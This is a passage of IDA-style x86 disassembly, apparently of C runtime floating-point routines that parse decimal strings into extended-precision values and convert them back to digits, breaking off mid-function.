		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_98], ecx


loc_433763:				; CODE XREF: sub_433320+424j
		cmp	[ebp+var_98], 0
		jz	short loc_43379E
		cmp	[ebp+var_70], 19h
		jnb	short loc_433799
		mov	edx, [ebp+var_70]
		add	edx, 1
		mov	[ebp+var_70], edx
		movsx	eax, byte ptr [ebp+var_3C]
		sub	eax, 30h
		mov	ecx, [ebp+var_68]
		mov	[ecx], al
		mov	edx, [ebp+var_68]
		add	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax


loc_433799:				; CODE XREF: sub_433320+450j
		jmp	loc_433710
; ---------------------------------------------------------------------------


loc_43379E:				; CODE XREF: sub_433320+44Aj
		movsx	ecx, byte ptr [ebp+var_3C]
		mov	[ebp+var_9C], ecx
		mov	edx, [ebp+var_9C]
		sub	edx, 2Bh
		mov	[ebp+var_9C], edx
		cmp	[ebp+var_9C], 3Ah
		ja	short loc_4337F0
		mov	ecx, [ebp+var_9C]
		xor	eax, eax
		mov	al, ds:byte_433E08[ecx]
		jmp	ds:off_433DFC[eax*4]


loc_4337D5:				; DATA XREF: seg000:00433E00o
		mov	[ebp+var_4C], 6
		jmp	short loc_433800
; ---------------------------------------------------------------------------


loc_4337DE:				; CODE XREF: sub_433320+4AEj
					; DATA XREF: seg000:off_433DFCo
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_433800
; ---------------------------------------------------------------------------


loc_4337F0:				; CODE XREF: sub_433320+49Ej
					; sub_433320+4AEj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_433800:				; CODE XREF: sub_433320+4BCj
					; sub_433320+4CEj
		jmp	loc_433B23
; ---------------------------------------------------------------------------


loc_433805:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D4Eo
		mov	[ebp+var_C], 1
		cmp	ds:dword_44FD20, 1
		jle	short loc_433831
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_A0], eax
		jmp	short loc_43384E
; ---------------------------------------------------------------------------


loc_433831:				; CODE XREF: sub_433320+4F3j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_A0], ecx


loc_43384E:				; CODE XREF: sub_433320+50Fj
		cmp	[ebp+var_A0], 0
		jz	short loc_433869
		mov	[ebp+var_4C], 4
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_433876
; ---------------------------------------------------------------------------


loc_433869:				; CODE XREF: sub_433320+535j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax


loc_433876:				; CODE XREF: sub_433320+547j
		jmp	loc_433B23
; ---------------------------------------------------------------------------


loc_43387B:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D52o
		mov	ecx, [ebp+var_4]
		sub	ecx, 2
		mov	[ebp+var_64], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_4338A8
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_4338A8
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_4338FD
; ---------------------------------------------------------------------------


loc_4338A8:				; CODE XREF: sub_433320+56Bj
					; sub_433320+574j
		mov	dl, byte ptr [ebp+var_3C]
		mov	[ebp+var_A4], dl
		cmp	[ebp+var_A4], 2Bh
		jz	short loc_4338E7
		cmp	[ebp+var_A4], 2Dh
		jz	short loc_4338D7
		cmp	[ebp+var_A4], 30h
		jz	short loc_4338CE
		jmp	short loc_4338F0
; ---------------------------------------------------------------------------


loc_4338CE:				; CODE XREF: sub_433320+5AAj
		mov	[ebp+var_4C], 8
		jmp	short loc_4338FD
; ---------------------------------------------------------------------------


loc_4338D7:				; CODE XREF: sub_433320+5A1j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_4338FD
; ---------------------------------------------------------------------------


loc_4338E7:				; CODE XREF: sub_433320+598j
		mov	[ebp+var_4C], 7
		jmp	short loc_4338FD
; ---------------------------------------------------------------------------


loc_4338F0:				; CODE XREF: sub_433320+5ACj
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax


loc_4338FD:				; CODE XREF: sub_433320+586j
					; sub_433320+5B5j ...
		jmp	loc_433B23
; ---------------------------------------------------------------------------


loc_433902:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D5Ao
		mov	[ebp+var_18], 1
		jmp	short loc_43391C
; ---------------------------------------------------------------------------


loc_43390B:				; CODE XREF: sub_433320+605j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_43391C:				; CODE XREF: sub_433320+5E9j
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 30h
		jnz	short loc_433927
		jmp	short loc_43390B
; ---------------------------------------------------------------------------


loc_433927:				; CODE XREF: sub_433320+603j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_43394B
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_43394B
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_43395B
; ---------------------------------------------------------------------------


loc_43394B:				; CODE XREF: sub_433320+60Ej
					; sub_433320+617j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_43395B:				; CODE XREF: sub_433320+629j
		jmp	loc_433B23
; ---------------------------------------------------------------------------


loc_433960:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D56o
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_433984
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_433984
		mov	[ebp+var_4C], 9
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_4339AE
; ---------------------------------------------------------------------------


loc_433984:				; CODE XREF: sub_433320+647j
					; sub_433320+650j
		mov	al, byte ptr [ebp+var_3C]
		mov	[ebp+var_A8], al
		cmp	[ebp+var_A8], 30h
		jz	short loc_433998
		jmp	short loc_4339A1
; ---------------------------------------------------------------------------


loc_433998:				; CODE XREF: sub_433320+674j
		mov	[ebp+var_4C], 8
		jmp	short loc_4339AE
; ---------------------------------------------------------------------------


loc_4339A1:				; CODE XREF: sub_433320+676j
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_64]
		mov	[ebp+var_4], ecx


loc_4339AE:				; CODE XREF: sub_433320+662j
					; sub_433320+67Fj
		jmp	loc_433B23
; ---------------------------------------------------------------------------


loc_4339B3:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D5Eo
		mov	[ebp+var_18], 1
		mov	[ebp+var_7C], 0
		jmp	short loc_4339D4
; ---------------------------------------------------------------------------


loc_4339C3:				; CODE XREF: sub_433320:loc_433A42j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_4339D4:				; CODE XREF: sub_433320+6A1j
		cmp	ds:dword_44FD20, 1
		jle	short loc_4339F9
		push	4
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		push	edx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_AC], eax
		jmp	short loc_433A16
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: sub_433320+6BBj
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_AC], edx


loc_433A16:				; CODE XREF: sub_433320+6D7j
		cmp	[ebp+var_AC], 0
		jz	short loc_433A47
		mov	eax, [ebp+var_7C]
		imul	eax, 0Ah
		movsx	ecx, byte ptr [ebp+var_3C]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_7C], edx
		cmp	[ebp+var_7C], 1450h
		jle	short loc_433A42
		mov	[ebp+var_7C], 1451h
		jmp	short loc_433A47
; ---------------------------------------------------------------------------


loc_433A42:				; CODE XREF: sub_433320+717j
		jmp	loc_4339C3
; ---------------------------------------------------------------------------


loc_433A47:				; CODE XREF: sub_433320+6FDj
					; sub_433320+720j
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_14], eax
		jmp	short loc_433A60
; ---------------------------------------------------------------------------


loc_433A4F:				; CODE XREF: sub_433320+78Bj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_433A60:				; CODE XREF: sub_433320+72Dj
		cmp	ds:dword_44FD20, 1
		jle	short loc_433A85
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_B0], eax
		jmp	short loc_433AA2
; ---------------------------------------------------------------------------


loc_433A85:				; CODE XREF: sub_433320+747j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_B0], ecx


loc_433AA2:				; CODE XREF: sub_433320+763j
		cmp	[ebp+var_B0], 0
		jz	short loc_433AAD
		jmp	short loc_433A4F
; ---------------------------------------------------------------------------


loc_433AAD:				; CODE XREF: sub_433320+789j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_433B23
; ---------------------------------------------------------------------------


loc_433ABF:				; CODE XREF: sub_433320+D5j
					; DATA XREF: seg000:00433D66o
		cmp	[ebp+arg_18], 0
		jz	short loc_433B13
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_64], eax
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_B4], cl
		cmp	[ebp+var_B4], 2Bh
		jz	short loc_433AFB
		cmp	[ebp+var_B4], 2Dh
		jz	short loc_433AEB
		jmp	short loc_433B04
; ---------------------------------------------------------------------------


loc_433AEB:				; CODE XREF: sub_433320+7C7j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_433B11
; ---------------------------------------------------------------------------


loc_433AFB:				; CODE XREF: sub_433320+7BEj
		mov	[ebp+var_4C], 7
		jmp	short loc_433B11
; ---------------------------------------------------------------------------


loc_433B04:				; CODE XREF: sub_433320+7C9j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx


loc_433B11:				; CODE XREF: sub_433320+7D9j
					; sub_433320+7E2j
		jmp	short loc_433B23
; ---------------------------------------------------------------------------


loc_433B13:				; CODE XREF: sub_433320+7A3j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_433B23:				; CODE XREF: sub_433320+CCj
					; sub_433320+D5j ...
		jmp	loc_4333C7
; ---------------------------------------------------------------------------


loc_433B28:				; CODE XREF: sub_433320+ABj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		cmp	[ebp+var_54], 0
		jz	loc_433C77
		cmp	[ebp+var_40], 0
		jnz	loc_433C77
		cmp	[ebp+var_78], 0
		jnz	loc_433C77
		cmp	[ebp+var_70], 18h
		jbe	short loc_433B7F
		movsx	eax, [ebp+var_21]
		cmp	eax, 5
		jl	short loc_433B66
		mov	cl, [ebp+var_21]
		add	cl, 1
		mov	[ebp+var_21], cl


loc_433B66:				; CODE XREF: sub_433320+83Bj
		mov	[ebp+var_70], 18h
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax


loc_433B7F:				; CODE XREF: sub_433320+832j
		cmp	[ebp+var_70], 0
		jbe	loc_433C5A
		mov	ecx, [ebp+var_68]
		sub	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_433B9D
; ---------------------------------------------------------------------------


loc_433B94:				; CODE XREF: sub_433320+899j
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx


loc_433B9D:				; CODE XREF: sub_433320+872j
		mov	eax, [ebp+var_68]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_433BBB
		mov	edx, [ebp+var_70]
		sub	edx, 1
		mov	[ebp+var_70], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_433B94
; ---------------------------------------------------------------------------


loc_433BBB:				; CODE XREF: sub_433320+885j
		lea	ecx, [ebp+var_60]
		push	ecx
		mov	edx, [ebp+var_70]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4331E0
		add	esp, 0Ch
		cmp	[ebp+var_74], 0
		jge	short loc_433BDD
		mov	ecx, [ebp+var_14]
		neg	ecx
		mov	[ebp+var_14], ecx


loc_433BDD:				; CODE XREF: sub_433320+8B3j
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_6C]
		mov	[ebp+var_14], edx
		cmp	[ebp+var_18], 0
		jnz	short loc_433BF5
		mov	eax, [ebp+var_14]
		add	eax, [ebp+arg_10]
		mov	[ebp+var_14], eax


loc_433BF5:				; CODE XREF: sub_433320+8CAj
		cmp	[ebp+var_C], 0
		jnz	short loc_433C04
		mov	ecx, [ebp+var_14]
		sub	ecx, [ebp+arg_14]
		mov	[ebp+var_14], ecx


loc_433C04:				; CODE XREF: sub_433320+8D9j
		cmp	[ebp+var_14], 1450h
		jle	short loc_433C16
		mov	[ebp+var_40], 1
		jmp	short loc_433C58
; ---------------------------------------------------------------------------


loc_433C16:				; CODE XREF: sub_433320+8EBj
		cmp	[ebp+var_14], 0FFFFEBB0h
		jge	short loc_433C28
		mov	[ebp+var_78], 1
		jmp	short loc_433C58
; ---------------------------------------------------------------------------


loc_433C28:				; CODE XREF: sub_433320+8FDj
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		lea	ecx, [ebp+var_60]
		push	ecx
		call	sub_4365B0
		add	esp, 0Ch
		mov	dx, [ebp+var_60]
		mov	[ebp+var_48], dx
		mov	eax, [ebp+var_5E]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_5A]
		mov	[ebp+var_10], ecx
		mov	dx, [ebp+var_56]
		mov	word ptr [ebp+var_50], dx


loc_433C58:				; CODE XREF: sub_433320+8F4j
					; sub_433320+906j
		jmp	short loc_433C77
; ---------------------------------------------------------------------------


loc_433C5A:				; CODE XREF: sub_433320+863j
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx


loc_433C77:				; CODE XREF: sub_433320+814j
					; sub_433320+81Ej ...
		cmp	[ebp+var_54], 0
		jnz	short loc_433CA6
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	edx, [ebp+var_50]
		and	edx, 0FFFFh
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_44]
		or	ecx, 4
		mov	[ebp+var_44], ecx
		jmp	short loc_433CFD
; ---------------------------------------------------------------------------


loc_433CA6:				; CODE XREF: sub_433320+95Bj
		cmp	[ebp+var_40], 0
		jz	short loc_433CD1
		mov	word ptr [ebp+var_50], 7FFFh
		mov	[ebp+var_10], 80000000h
		mov	[ebp+var_8], 0
		mov	[ebp+var_48], 0
		mov	edx, [ebp+var_44]
		or	edx, 2
		mov	[ebp+var_44], edx
		jmp	short loc_433CFD
; ---------------------------------------------------------------------------


loc_433CD1:				; CODE XREF: sub_433320+98Aj
		cmp	[ebp+var_78], 0
		jz	short loc_433CFD
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_44]
		or	edx, 1
		mov	[ebp+var_44], edx


loc_433CFD:				; CODE XREF: sub_433320+984j
					; sub_433320+9AFj ...
		mov	eax, [ebp+arg_0]
		mov	cx, [ebp+var_48]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax
		mov	eax, [ebp+var_44]
		mov	esp, ebp
		pop	ebp
		retn
sub_433320	endp

; ---------------------------------------------------------------------------
off_433D3A	dd offset loc_4333FC	; DATA XREF: sub_433320+D5r
		dd offset loc_43349A
		dd offset loc_433550
		dd offset loc_4335BB
		dd offset loc_4336D3
		dd offset loc_433805
		dd offset loc_43387B
		dd offset loc_433960
		dd offset loc_433902
		dd offset loc_4339B3
		dd offset loc_433B23
		dd offset loc_433ABF
off_433D6A	dd offset loc_433529	; DATA XREF: sub_433320+1F0r
		dd offset loc_433517
		dd offset loc_433520
		dd offset loc_43353B
byte_433D7A	db 0			; DATA XREF: sub_433320+1EAr
		db 3
		dd 1030300h, 4 dup(3030303h), 2030303h,	3030302h, 6 dup(3030303h)
		dd 2030303h
		db 2
off_433DB5	dd offset loc_4336AC	; DATA XREF: sub_433320+37Cr
		dd offset loc_4336A3
		dd offset loc_4336BE
byte_433DC1	db 0			; DATA XREF: sub_433320+376r
		dw 2
		dd 5 dup(2020202h), 1010202h, 7	dup(2020202h), 1010202h
off_433DFC	dd offset loc_4337DE	; DATA XREF: sub_433320+4AEr
		dd offset loc_4337D5
		dd offset loc_4337F0
byte_433E08	db 0			; DATA XREF: sub_433320+4A8r
		db 2, 0, 2
		dd 5 dup(2020202h), 2010102h, 7	dup(2020202h), 0CC010102h
		dd 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	0
		push	0
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_433320
		add	esp, 1Ch
		mov	[ebp-14h], eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_4301D0
		add	esp, 8
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_433E98
		mov	eax, [ebp-14h]
		or	al, 2
		mov	[ebp-14h], eax


loc_433E98:				; CODE XREF: seg000:00433E8Ej
		mov	eax, [ebp-14h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433EA0	proc near		; CODE XREF: sub_430450+36p

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		mov	word ptr [ebp+var_64], 4D10h
		mov	word ptr [ebp+var_3C], 4Dh
		mov	word ptr [ebp+var_60], 9Ah
		mov	[ebp+var_20], 134312F4h
		mov	[ebp+var_54], 0CCh
		mov	[ebp+var_53], 0CCh
		mov	[ebp+var_52], 0CCh
		mov	[ebp+var_51], 0CCh
		mov	[ebp+var_50], 0CCh
		mov	[ebp+var_4F], 0CCh
		mov	[ebp+var_4E], 0CCh
		mov	[ebp+var_4D], 0CCh
		mov	[ebp+var_4C], 0CCh
		mov	[ebp+var_4B], 0CCh
		mov	[ebp+var_4A], 0FBh
		mov	[ebp+var_49], 3Fh
		mov	[ebp+var_58], 1
		mov	ax, [ebp+arg_8]
		mov	word ptr [ebp+var_70], ax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_48], edx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 8000h
		mov	word ptr [ebp+var_68], ax
		mov	cx, word ptr [ebp+var_70]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_70], cx
		mov	edx, [ebp+var_68]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_433F3E
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+2], 2Dh
		jmp	short loc_433F45
; ---------------------------------------------------------------------------


loc_433F3E:				; CODE XREF: sub_433EA0+93j
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h


loc_433F45:				; CODE XREF: sub_433EA0+9Cj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		test	edx, edx
		jnz	short loc_433F8C
		cmp	[ebp+var_24], 0
		jnz	short loc_433F8C
		cmp	[ebp+var_48], 0
		jnz	short loc_433F8C
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 1
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+4], 30h
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+5], 0
		mov	eax, 1
		jmp	loc_4343B2
; ---------------------------------------------------------------------------


loc_433F8C:				; CODE XREF: sub_433EA0+B0j
					; sub_433EA0+B6j ...
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jnz	loc_434086
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	1
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_433FB8
		cmp	[ebp+var_48], 0
		jz	short loc_433FEC


loc_433FB8:				; CODE XREF: sub_433EA0+110j
		mov	ecx, [ebp+var_24]
		and	ecx, 40000000h
		test	ecx, ecx
		jnz	short loc_433FEC
		push	offset dword_43AD88
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_41E550
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 6
		mov	[ebp+var_58], 0
		jmp	loc_434081
; ---------------------------------------------------------------------------


loc_433FEC:				; CODE XREF: sub_433EA0+116j
					; sub_433EA0+123j
		mov	ecx, [ebp+var_68]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_43402C
		cmp	[ebp+var_24], 0C0000000h
		jnz	short loc_43402C
		cmp	[ebp+var_48], 0
		jnz	short loc_43402C
		push	offset dword_43AD80
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_41E550
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_434081
; ---------------------------------------------------------------------------


loc_43402C:				; CODE XREF: sub_433EA0+157j
					; sub_433EA0+160j ...
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_43405F
		cmp	[ebp+var_48], 0
		jnz	short loc_43405F
		push	offset dword_43AD78
		mov	ecx, [ebp+arg_14]
		add	ecx, 4
		push	ecx
		call	sub_41E550
		add	esp, 8
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_434081
; ---------------------------------------------------------------------------


loc_43405F:				; CODE XREF: sub_433EA0+193j
					; sub_433EA0+199j
		push	offset dword_43AD70
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		call	sub_41E550
		add	esp, 8
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+3], 6
		mov	[ebp+var_58], 0


loc_434081:				; CODE XREF: sub_433EA0+147j
					; sub_433EA0+18Aj ...
		jmp	loc_4343AF
; ---------------------------------------------------------------------------


loc_434086:				; CODE XREF: sub_433EA0+FBj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		sar	edx, 8
		mov	word ptr [ebp+var_6C], dx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 0FFh
		mov	[ebp+var_C], ax
		mov	ecx, [ebp+var_24]
		shr	ecx, 18h
		mov	word ptr [ebp+var_40], cx
		mov	edx, [ebp+var_64]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		imul	edx, eax
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_6C]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		mov	ecx, [ebp+var_60]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_40]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		sub	edx, [ebp+var_20]
		mov	[ebp+var_8], edx
		mov	ecx, [ebp+var_8]
		sar	ecx, 10h
		mov	[ebp+var_5C], cx
		mov	dx, word ptr [ebp+var_70]
		mov	word ptr [ebp+var_2E], dx
		mov	eax, [ebp+var_24]
		mov	[ebp+var_32], eax
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_38+2],	ecx
		mov	word ptr [ebp+var_38], 0
		push	1
		movsx	edx, [ebp+var_5C]
		neg	edx
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4365B0
		add	esp, 0Ch
		mov	ecx, [ebp+var_2E]
		and	ecx, 0FFFFh
		cmp	ecx, 3FFFh
		jl	short loc_43415D
		mov	dx, [ebp+var_5C]
		add	dx, 1
		mov	[ebp+var_5C], dx
		lea	eax, [ebp+var_54]
		push	eax
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_436170
		add	esp, 8


loc_43415D:				; CODE XREF: sub_433EA0+29Fj
		mov	edx, [ebp+arg_14]
		mov	ax, [ebp+var_5C]
		mov	[edx], ax
		mov	ecx, [ebp+arg_10]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_4341B1
		movsx	edx, [ebp+var_5C]
		mov	eax, [ebp+arg_C]
		add	eax, edx
		mov	[ebp+arg_C], eax
		cmp	[ebp+arg_C], 0
		jg	short loc_4341B1
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	loc_4343B2
; ---------------------------------------------------------------------------


loc_4341B1:				; CODE XREF: sub_433EA0+2CFj
					; sub_433EA0+2E1j
		cmp	[ebp+arg_C], 15h
		jle	short loc_4341BE
		mov	[ebp+arg_C], 15h


loc_4341BE:				; CODE XREF: sub_433EA0+315j
		mov	eax, [ebp+var_2E]
		and	eax, 0FFFFh
		sub	eax, 3FFEh
		mov	[ebp+var_2E+2],	eax
		mov	word ptr [ebp+var_2E], 0
		mov	[ebp+var_44], 0
		jmp	short loc_4341E6
; ---------------------------------------------------------------------------


loc_4341DD:				; CODE XREF: sub_433EA0+358j
		mov	ecx, [ebp+var_44]
		add	ecx, 1
		mov	[ebp+var_44], ecx


loc_4341E6:				; CODE XREF: sub_433EA0+33Bj
		cmp	[ebp+var_44], 8
		jge	short loc_4341FA
		lea	edx, [ebp+var_38]
		push	edx
